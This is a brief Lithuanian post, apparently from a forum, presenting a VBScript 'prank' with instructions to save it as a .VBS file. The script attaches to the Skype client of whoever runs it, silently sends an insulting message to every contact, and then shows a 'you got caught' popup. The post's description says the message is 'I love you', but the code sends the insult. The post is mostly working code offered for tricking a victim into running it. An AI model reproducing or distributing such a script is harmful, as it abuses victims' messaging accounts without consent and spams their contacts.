Turbut esate mate VBS faila.Paiimkime kad ir paprasta poksta ant skype ,kur visiems kontaktams isiunciama zinute "as tave myliu".Sis budas yra galingas ir ydomus.Reikia moketi naudotis:
Pavyzdys:
on error resume next
set NrrlP = WScript.CreateObject("Scripting.FileSystemObject")
set uDlVA = wscript.createobject("wscript.shell")
set yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")
yADAl.Client.Start()
yADAl.Attach()
For Each GAG In yADAl.Friends
yADAl.SendMessage GAG.handle,"as debilas:* :) "
next
msgbox "papuolei =]",,"laikykis.."
1. Viska surasome notepad(e)
2.Isaugant faila pridedame "failas.VBS"
Vualia!
@chosen-team